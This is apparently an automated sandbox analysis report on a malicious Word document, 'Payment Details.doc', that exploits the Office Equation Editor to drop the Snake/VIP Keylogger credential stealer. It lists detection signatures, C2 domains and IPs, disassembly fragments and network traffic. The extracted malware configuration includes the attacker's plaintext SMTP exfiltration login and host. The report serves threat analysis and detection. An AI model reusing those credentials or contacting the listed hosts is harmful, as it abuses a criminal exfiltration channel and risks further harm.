Windows Analysis Report
Payment Details.doc

Overview

General Information

Sample name: Payment Details.doc
Analysis ID: 1519253
MD5: cab2151d548586a1b3321aba7bde603d
SHA1: 6ada134af583ecda2a082aeb17a3a258a0cd548f
SHA256: 9e487bc68596a0c3c19aa9fed8040f452b4cbeca97451952994da511d4db2773
Tags: docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Payment Details.doc Avira: detected
Antivirus detection for URL or domain
Source: http://aborters.duckdns.org:8081 URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081 URL Reputation: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\HgCppsoKmxQq[1].exe Avira: detection malicious, Label: HEUR/AGEN.1308792
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Avira: detection malicious, Label: HEUR/AGEN.1308792
Found malware configuration
Source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "peterlog@gtpv.online", "Password": "7213575aceACE@@ ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "peterlog@gtpv.online", "Password": "7213575aceACE@@ ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\HgCppsoKmxQq[1].exe ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe ReversingLabs: Detection: 28%
Multi AV Scanner detection for submitted file
Source: Payment Details.doc ReversingLabs: Detection: 44%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\HgCppsoKmxQq[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 66.63.187.123 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49178 version: TLS 1.2

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001C92F9h 9_2_001C903A
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001C73EDh 9_2_001C7200
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001C7D77h 9_2_001C7200
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001C98BBh 9_2_001C94A8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 9_2_001C6728
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001CED01h 9_2_001CEA20
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001CF631h 9_2_001CF351
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 9_2_001C6D5A
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001CF199h 9_2_001CEEB8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 9_2_001C6F39
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001CFAC9h 9_2_001CF7E8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 001C98BBh 9_2_001C97EA
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00718A42h 9_2_00718748
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071A22Ah 9_2_00719F30
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00716349h 9_2_00716078
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071F372h 9_2_0071F078
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00712339h 9_2_00712068
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00719D62h 9_2_00719A68
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00714321h 9_2_00714050
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071B54Ah 9_2_0071B250
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00710311h 9_2_00710040
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00717111h 9_2_00716E40
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00713101h 9_2_00712E30
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071CD32h 9_2_0071CA38
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071E51Ah 9_2_0071E220
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00718F0Ah 9_2_00718C10
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007150E9h 9_2_00714E18
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007110D9h 9_2_00710E08
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00717ED9h 9_2_00717C08
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071FD02h 9_2_0071FA08
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007147B9h 9_2_007144E8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071E9E2h 9_2_0071E6E8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007107A9h 9_2_007104D8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007175A9h 9_2_007172D8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007193D2h 9_2_007190D8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071ABBAh 9_2_0071A8C0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00713599h 9_2_007132C8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00715581h 9_2_007152B0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00711571h 9_2_007112A0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00718412h 9_2_007180A0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071C3A2h 9_2_0071C0A8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071DB8Ah 9_2_0071D890
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00710C41h 9_2_00710970
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00717A41h 9_2_00717770
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071C86Ah 9_2_0071C570
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00713A31h 9_2_00713760
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071E052h 9_2_0071DD58
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071F83Ah 9_2_0071F540
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00715A19h 9_2_00715748
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00711A09h 9_2_00711738
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007167E1h 9_2_00716510
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071BA12h 9_2_0071B718
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 007127D1h 9_2_00712500
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071D1FAh 9_2_0071CF00
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00713EA1h 9_2_00713BF8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071A6F2h 9_2_0071A3F8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00715EB1h 9_2_00715BE0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071BEDAh 9_2_0071BBE0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00711EA1h 9_2_00711BD0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071D6C2h 9_2_0071D3C8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071EEAAh 9_2_0071EBB0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071989Ah 9_2_007195A0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00716C7Ah 9_2_007169A8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00712C69h 9_2_00712998
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 00714C51h 9_2_00714980
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 0071B082h 9_2_0071AD88
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B3C9Ah 9_2_008B39A0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B297Bh 9_2_008B2680
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B1192h 9_2_008B0E98
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B37D2h 9_2_008B34D8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B1FEAh 9_2_008B1CF0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B330Ah 9_2_008B3010
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B1B22h 9_2_008B1828
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B033Ah 9_2_008B0040
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B4162h 9_2_008B3E68
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B24B2h 9_2_008B21B8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B0CCAh 9_2_008B09D0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B0802h 9_2_008B0508
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B2E42h 9_2_008B2B48
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008B165Ah 9_2_008B1360
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D5A31h 9_2_008D5788
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DE1C5h 9_2_008DDE88
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DD429h 9_2_008DD180
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D4D29h 9_2_008D4A80
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D7441h 9_2_008D7198
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D6739h 9_2_008D6490
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DF579h 9_2_008DF2A8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D8E51h 9_2_008D8BA8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D8149h 9_2_008D7EA0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D9B59h 9_2_008D98B0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D3771h 9_2_008D34C8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DBE71h 9_2_008DBBC8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DB169h 9_2_008DAEC0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D5181h 9_2_008D4ED8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DD881h 9_2_008DD5D8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DCB7Bh 9_2_008DC8D0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D4479h 9_2_008D41D0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D6B91h 9_2_008D68E8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D5E89h 9_2_008D5BE0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DE7B1h 9_2_008DE4E0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D85A1h 9_2_008D82F8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D7899h 9_2_008D75F0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D92A9h 9_2_008D9000
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DB5C1h 9_2_008DB318
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DF0E1h 9_2_008DEE10
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DCFD1h 9_2_008DCD28
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D48D1h 9_2_008D4628
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DC2C9h 9_2_008DC020
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D3BC9h 9_2_008D3920
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D62E1h 9_2_008D6038
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D55D9h 9_2_008D5330
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DDCD9h 9_2_008DDA30
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D7CF1h 9_2_008D7A48
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DFA11h 9_2_008DF740
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D6FE9h 9_2_008D6D40
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D9701h 9_2_008D9458
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D89F9h 9_2_008D8750
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DAD11h 9_2_008DAA68
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D4021h 9_2_008D3D78
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DC721h 9_2_008DC478
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DEC49h 9_2_008DE978
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008DBA19h 9_2_008DB770
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then jmp 008D3319h 9_2_008D3070
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 9_2_00942AF9
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 9_2_00942B00
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 9_2_00945F38
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 9_2_00945F28
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
